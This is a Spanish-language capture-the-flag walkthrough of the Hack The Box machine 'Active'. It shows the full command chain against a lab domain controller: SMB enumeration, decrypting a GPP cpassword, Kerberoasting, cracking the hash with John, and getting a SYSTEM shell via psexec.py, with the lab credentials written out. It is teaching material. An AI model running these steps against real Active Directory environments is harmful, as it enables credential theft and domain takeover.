Active - Hack The Box

Esta máquina fue algo complicada para mí, porque se trató de un ejercicio de Active Directory. Tuve que investigar mucho sobre Active Directory, gracias a la herramienta smbclient y smbmap, se pudo enumerar el servicio SMB siendo que encontramos un archivo que contiene credenciales de usuario, esto nos permitirá hacer el ataque Kerberoasting para obtener credenciales de Root.

Herramientas utilizadas:

  • ping
  • nmap
  • crackmapexec
  • smbclient
  • smbmap
  • rpcclient
  • gpp-decrypt
  • GetUserSPNs.py
  • johntheripper
  • psexec.py






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=133 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=127 time=133 ms
64 bytes from 10.10.10.100: icmp_seq=3 ttl=127 time=133 ms
64 bytes from 10.10.10.100: icmp_seq=4 ttl=127 time=133 ms

--- 10.10.10.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 133.302/133.395/133.499/0.072 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 15:29 CST
Initiating SYN Stealth Scan at 15:29
Scanning 10.10.10.100 [65535 ports]
Discovered open port 139/tcp on 10.10.10.100
Discovered open port 53/tcp on 10.10.10.100
Discovered open port 135/tcp on 10.10.10.100
Discovered open port 445/tcp on 10.10.10.100
Discovered open port 49153/tcp on 10.10.10.100
Discovered open port 49166/tcp on 10.10.10.100
Discovered open port 49168/tcp on 10.10.10.100
Discovered open port 49158/tcp on 10.10.10.100
Discovered open port 49154/tcp on 10.10.10.100
Discovered open port 49165/tcp on 10.10.10.100
Discovered open port 49157/tcp on 10.10.10.100
Discovered open port 49155/tcp on 10.10.10.100
Discovered open port 49152/tcp on 10.10.10.100
Discovered open port 389/tcp on 10.10.10.100
Discovered open port 3268/tcp on 10.10.10.100
Discovered open port 593/tcp on 10.10.10.100
Discovered open port 88/tcp on 10.10.10.100
Increasing send delay for 10.10.10.100 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 464/tcp on 10.10.10.100
Increasing send delay for 10.10.10.100 from 5 to 10 due to max_successful_tryno increase to 5
Discovered open port 9389/tcp on 10.10.10.100
Increasing send delay for 10.10.10.100 from 10 to 20 due to max_successful_tryno increase to 6
Discovered open port 47001/tcp on 10.10.10.100
Discovered open port 3269/tcp on 10.10.10.100
Completed SYN Stealth Scan at 15:30, 59.14s elapsed (65535 total ports)
Nmap scan report for 10.10.10.100
Host is up, received user-set (0.29s latency).
Scanned at 2023-05-02 15:29:11 CST for 60s
Not shown: 59239 closed tcp ports (reset), 6275 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49152/tcp open  unknown          syn-ack ttl 127
49153/tcp open  unknown          syn-ack ttl 127
49154/tcp open  unknown          syn-ack ttl 127
49155/tcp open  unknown          syn-ack ttl 127
49157/tcp open  unknown          syn-ack ttl 127
49158/tcp open  unknown          syn-ack ttl 127
49165/tcp open  unknown          syn-ack ttl 127
49166/tcp open  unknown          syn-ack ttl 127
49168/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.25 seconds
           Raw packets sent: 292186 (12.856MB) | Rcvd: 63516 (2.541MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Wow, son demasiados puertos abiertos, aunque algunos ya los conocemos. Veamos qué servicios nos arroja con el escaneo de servicios.

Escaneo de Servicios

nmap -sC -sV -p53,88,135,139,389,445,464,593,3268,3269,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 15:31 CST
Nmap scan report for 10.10.10.100
Host is up (0.14s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec?
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  globalcatLDAP?
3269/tcp  open  globalcatLDAPssl?
9389/tcp  open  mc-nmf            .NET Message Framing
47001/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc             Microsoft Windows RPC
49153/tcp open  msrpc             Microsoft Windows RPC
49154/tcp open  msrpc             Microsoft Windows RPC
49155/tcp open  msrpc             Microsoft Windows RPC
49157/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc             Microsoft Windows RPC
49165/tcp open  msrpc             Microsoft Windows RPC
49166/tcp open  msrpc             Microsoft Windows RPC
49168/tcp open  msrpc             Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   210: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-05-02T21:33:33
|_  start_date: 2023-05-02T21:24:07

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.08 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Está muy raro para mí, no había visto tantos puertos abiertos antes, no sé por qué presiento que estamos contra una máquina estilo Active Directory. Investiguemos algunos de los servicios para saber por donde comenzamos a buscar vulnerabilidades.




Análisis de Vulnerabilidades


Investigación de Servicios

Vamos a investigar los servicios que podamos identificar de cada puerto, esto con el fin de recopilar información que nos sea útil para encontrar un vector de ataque.

Empecemos:

Servicio Kerberos
El servicio Kerberos es una arquitectura cliente-servidor que proporciona seguridad a las transacciones en las redes. El servicio ofrece una sólida autenticación de usuario y también integridad y privacidad.


Servicio MSRPC
El protocolo Microsoft Remote Procedure Call (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y luego fue desarrollado y protegido por Microsoft. Los servicios MSRPC proporcionan interfaces para el acceso y administración de los sistemas de Windows de modo remoto.


Servicio Netbios-SSN
Es un protocolo de aplicación para compartir recursos en red. Se encarga de establecer la sesión y mantener las conexiones. El servicio de sesión se utiliza para la transmisión de datos y la comunicación orientada a la conexión.


Protocolo LDAP
El protocolo ligero de acceso a directorios (en inglés: Lightweight Directory Access Protocol o LDAP) hace referencia a un protocolo a nivel de aplicación que permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa información en un entorno de red.


Servicio Microsoft-DS
Un servicio de directorio, como Active Directory Domain Services (AD DS), proporciona los métodos para almacenar datos de directorio y poner dichos datos a disposición de los usuarios y administradores de la red.


Protocolo ncacn_http
El protocolo ncacn_http es una variante del protocolo de comunicación de red utilizado en la arquitectura de Microsoft Distributed Component Object Model (DCOM) sobre HTTP. Facilita la comunicación entre clientes y servidores DCOM a través de HTTP, permitiendo el funcionamiento de servicios DCOM a través de firewalls y proxies que permiten tráfico HTTP/HTTPS.


Entonces, ya podemos decir que estamos contra una máquina tipo Active Directory, como tal no tenemos una página web que podamos revisar para obtener más información y buscar vulnerabilidades.

Por lo que veo, la forma en que vamos a empezar a buscar vulnerabilidades, será por SMB.

Enumeración Servicio SMB

Primero que nada, veamos que nos reporta la herramienta nmap sobre el servicio SMB activo.

Realicemos unos escaneos.

  • Veamos que protocolos del SMB ocupa:
    nmap -p 445 --script smb-protocols 10.10.10.100
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 15:39 CST
    Nmap scan report for active.htb (10.10.10.100)
    Host is up (0.073s latency).
    *
    PORT    STATE SERVICE
    445/tcp open  microsoft-ds
    *
    Host script results:
    | smb-protocols: 
    |   dialects: 
    |     202
    |_    210
    

    Como tal no nos reporto nada.

  • Veamos que modos de seguridad tiene activos:
    nmap -p 445 --script smb-security-mode 10.10.10.100
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-06 13:58 CST
    Nmap scan report for active.htb (10.10.10.100)
    Host is up (0.079s latency).
    *
    PORT    STATE SERVICE
    445/tcp open  microsoft-ds
    *
    Nmap done: 1 IP address (1 host up) scanned in 1.65 seconds
    

    Nada, con esto ya me doy a la idea de que si esta bien asegurado el puerto.

  • Veamos que nos puede reportar la herramienta crackmapexec:
    crackmapexec smb 10.10.10.100
    SMB   10.10.10.100    445    DC     [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
    

Excelente, nos reporta un dominio que ocupa el SMB, vamos a registrarlo en nuestra máquina.

nano /etc/hosts
10.10.10.100 active.htb

Bien, vamos a enumerar el SMB con las herramientas smbclient y smbmap. Te dejo un recurso que puede ser de utilidad:

Lo principal, sería saber si podemos listar los recursos compartidos con un usuario nulo (null session), ya que con esto, podremos saber si nos podemos loguear como un usuario anónimo:

smbclient -L //10.10.10.100// -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Replication     Disk      
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Si podemos, aunque ese error que esta reportando no me gusta. Vamos a utilizar la herramienta smbmap para la enumeración, ya que nos muestra más detalles que smbclient.


Enumeración Servicio SMB con SMBMAP

Para empezar, vamos a listar los recursos compartidos denuevo:

smbmap -H 10.10.10.100      
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users                                                   NO ACCESS

Observa que nos dio más detalles como los permisos.

Solamente podemos ver el directorio Replicant, para no ir entrando uno por uno, vamos a utilizar uno de los parámetros de smbmap para que nos muestre varios recursos compartidos a la vez:

smbmap -H 10.10.10.100 -R
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        .\Replication\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    active.htb
        .\Replication\active.htb\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    DfsrPrivate
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    Policies
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    scripts
        .\Replication\active.htb\DfsrPrivate\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ConflictAndDeleted
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    Deleted
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    Installing
        .\Replication\active.htb\Policies\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    {31B2F340-016D-11D2-945F-00C04FB984F9}
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    {6AC1786C-016F-11D2-945F-00C04fB984F9}
        .\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        fr--r--r--               23 Sat Jul 21 05:38:11 2018    GPT.INI
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    Group Policy
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    MACHINE
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    USER
...

Excelente, si nos aventuramos en el directorio {31B2F340…}, encontraremos un archivo interesante.

Dentro del directorio Policies, hay dos directorios, si revisamos el primero, veremos que hay varios directorios, pero dos de ellos son de interés, el USER y el MACHINE. Entraremos directamente en MACHINE para seguir enumerando y de ahí, nos iremos a Preferences y por último a Groups:

smbmap -H 10.10.10.100 -r Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/groups
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Replication                                             READ ONLY
        .\Replicationactive.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\groups\*
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 05:37:44 2018    ..
        fr--r--r--              533 Sat Jul 21 05:38:11 2018    Groups.xml

Hay un archivo XML, vamos a descargarlo y a renombrarlo:

smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/groups/Groups.xml
[+] Starting download: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\groups\Groups.xml (533 bytes)
[+] File output to: **/**/**/content/10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_groups_Groups.xml

mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_groups_Groups.xml Groups.xml

Pero ¿de qué se trata este archivo? Investiguemos por su nombre como tal y veamos si aparece algo.

Aquí dejo un link muy útil de lo que encontre:

En resumen de lo que menciona el blog, lo que hicimos fue minar SYSVOL para encontrar un archivo que se crea en el Group Policy Preferences (GPP), siendo que este contiene las credenciales de usuarios.

Recurso SYSVOL
SYSVOL es el recurso compartido de todo el dominio en Active Directory al que todos los usuarios autenticados tienen acceso de lectura. SYSVOL contiene secuencias de comandos de inicio de sesión, datos de políticas de grupo y otros datos de todo el dominio que deben estar disponibles en cualquier lugar donde haya un controlador de dominio (ya que SYSVOL se sincroniza automáticamente y se comparte entre todos los controladores de dominio).


Analicemos el contenido de este archivo:

xmllint --format Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
  </User>
</Groups>

Podemos ver un hash de una contraseña y un usuario llamado SVC_TGS. Intentemos descifrar ese hash.




Explotación de Vulnerabilidades


Crackeando Hash de Groups.xml

Como bien dice el artículo, el cifrado está en AES-256. Para descifrar este tipo de cifrado, contamos con la herramienta GPP-Decrypt, esta herramienta se encarga de desencriptar esta clase de hashes que se crean en GPP, as>

gpp-decrypt       
Usage: gpp-decrypt: encrypted_data

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

Comprobemos si el usuario y contraseña nos sirven para loguearnos en el servicio SMB con la herramienta Crackmapexec:

crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB    10.10.10.100    445    DC   [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB    10.10.10.100    445    DC   [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18

No menciona ningún error, quiero pensar que el usuario y contraseña son validos.

Vamos a probarlo con la herramienta smbmap, nos debería mostrar más información:

smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' 
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   READ ONLY

Muy bien, podemos enumerar más recursos compartidos.

Enumeración Servicio SMB como Usuario SVC_TGS

Bien, con tan solo navegar un poco dentro de los recursos compartidos, entraremos en Users y aqui podemos encontrar la flag del usuario:

smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Users                                                   READ ONLY
        .\UsersSVC_TGS\Desktop\*

        dr--r--r--                0 Sat Jul 21 10:14:42 2018    .
        dr--r--r--                0 Sat Jul 21 10:14:42 2018    ..
        fw--w--w--               34 Wed May  3 15:50:40 2023    user.txt

La descargamos y le cambiamos el nombre al archivo:

smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --download Users/SVC_TGS/Desktop/user.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: **/**/**/content/10.10.10.100-Users_SVC_TGS_Desktop_user.txt

mv 10.10.10.100-Users_SVC_TGS_Desktop_user.txt user.txt

Ya tenemos la flag del usuario, pero podemos hacer más cosillas como tratar de entrar en el servicio MSRPC con el usuario y contraseña, esto lo realizamos con la herramienta rpcclient.

Intentémoslo:

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100                                                                
rpcclient $>

Aquí igual podemos enumerar algunas cosillas, por ejemplo:

  • Enumerar los usuarios:
    rpcclient $> enumdomusers
    user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[SVC_TGS] rid:[0x44f]
    
  • Enumerar los grupos del dominio:
    enumdomgroups
    group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
    group:[Domain Admins] rid:[0x200]
    group:[Domain Users] rid:[0x201]
    group:[Domain Guests] rid:[0x202]
    group:[Domain Computers] rid:[0x203]
    group:[Domain Controllers] rid:[0x204]
    group:[Schema Admins] rid:[0x206]
    group:[Enterprise Admins] rid:[0x207]
    group:[Group Policy Creator Owners] rid:[0x208]
    group:[Read-only Domain Controllers] rid:[0x209]
    group:[DnsUpdateProxy] rid:[0x44e]
    
  • Enumerar descripciones de usuarios:
    rpcclient $> querydispinfo
    index: 0xdea RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain
    index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
    index: 0xe19 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
    index: 0xeb2 RID: 0x44f acb: 0x00000210 Account: SVC_TGS        Name: SVC_TGS   Desc: (null)
    
  • Enumerar los dominios activos:
    rpcclient $> enumdomains
    name:[ACTIVE] idx:[0x0]
    name:[Builtin] idx:[0x0]
    

Con esto ya demostrado, es momento de buscar una forma de obtener acceso como Root.




Post Explotación


Aplicando Ataque Kerberoasting

Podriamos decir que no tenemos otros vector de ataque, pero recuerda que esta activo el servicio kerberos, por lo que podemos buscar un exploit que nos ayude a ganar acceso a la máquina con ls recursos que ya contamos.

Durante la busqueda, encontre el ataque Kerberoasting, pero ¿en qué consiste este ataque?

Ataque Kerberoasting
Kerberoasting es un ataque que abusa del protocolo Kerberos para recopilar hash de contraseñas para cuentas de usuario de Active Directory con valores servicePrincipalName (SPN), es decir, cuentas de servicio. Un usuario puede solicitar un ticket del servicio de otorgamiento de boletos (TGS) para cualquier SPN, y partes del TGS se pueden cifrar con RC4 utilizando el hash de contraseña de la cuenta de servicio que tiene asignado el SPN solicitado como clave. Por lo tanto, un adversario que pueda robar boletos TGS (ya sea de la memoria o capturándolos rastreando el tráfico de la red) puede extraer el hash de la contraseña de la cuenta de servicio e intentar un ataque de fuerza bruta fuera de línea para obtener la contraseña de texto sin formato.


En resumen, podemos robar un boleto TGS de un SPN cualquiera, por ejemplo del usuario administrador del directorio activo, esto para que podamos recopilar el hash de su contraseña y la podamos descifrar. Y como esto lo puede pedir un usuario, al cual ya tenemos acceso, podemos intentar aplicar este ataque.

Para utilizar este ataque, necesitamos la herramienta GetUserSPNs.py que viene con la librería Impacket, si no lo tienes, aquí te dejo un link en donde puedas descargarlo, pero recomiendo que instales la librería Impacket:

Vamos a usar este ataque, hagámoslo por pasos:

  • Primero veamos si podemos obtener el Ticket TGS:
    GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
    /usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
    Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
    ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
    --------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
    active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2023-05-03 15:50:43.047354
    
  • Ahora veamos si nos lo devuelve:
    GetUserSPNs.py -request active.htb/SVC_TGS:GPPstillStandingStrong2k18
    /usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
    Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
    ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
    --------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
    active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2023-05-03 15:50:43.047354             
    [-] CCache file is not found. Skipping...
    $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d04f0a50ccbee2fa9e0c0e172ac69416$73a2993383de0c276b30332cece7b08caf74b0d75f9a71f8ace118d65a41b81c47a8d61600573f6beeea7a6385603713b4f0a9
    ...
    

    Tenemos un hash, vamos a copiarlo y a tratar de descifrarlo.

  • Copiamos el hash y lo guardamos en un archivo:
    nano hash
    $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d04f0a50ccbee2fa9e0c0e172ac694...
    
  • Esta vez, usemos John para poder crackear el hash:
    john -w=/usr/share/wordlists/rockyou.txt hash
    Using default input encoding: UTF-8
    Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
    Press 'q' or Ctrl-C to abort, almost any other key for status
    Ticketmaster1968 (?)     
    1g 0:00:00:18 DONE (2023-05-03 16:51) 0.05428g/s 572056p/s 572056c/s 572056C/s Tickle7..Tibor
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed.
    

    Excelente, ya tenemos la contraseña para el administrador.

Probemos con crackmapexec para ver si la contraseña es correcta:

crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

Vamos a loguearnos con psexec.py:

python3 psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file AoqAcowi.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service fNeh on 10.10.10.100.....
[*] Starting service fNeh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32> whoami
nt authority\system

Por último, busca la flag:

C:\> cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop>
C:\Users\Administrator\Desktop> type root.txt
...

¡Listo! Completamos la máquina.



  • https://www.ngi.es/crackmapexec-post-explotacion-entornos-active-directory/
  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb
  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast
  • https://www.kali.org/tools/smbmap/
  • https://adsecurity.org/?p=2288
  • https://underc0de.org/foro/herramientas-hacking/smbmap-enumerador-de-recursos-de-compartidos-samba/
  • https://access.redhat.com/documentation/es-es/red_hat_enterprise_linux/8/html/deploying_different_types_of_servers/assembly_using-th>
  • https://www.netwrix.com/cracking_kerberos_tgs_tickets_using_kerberoasting.html
  • https://github.com/fortra/impacket/issues/1482
  • https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11)


FIN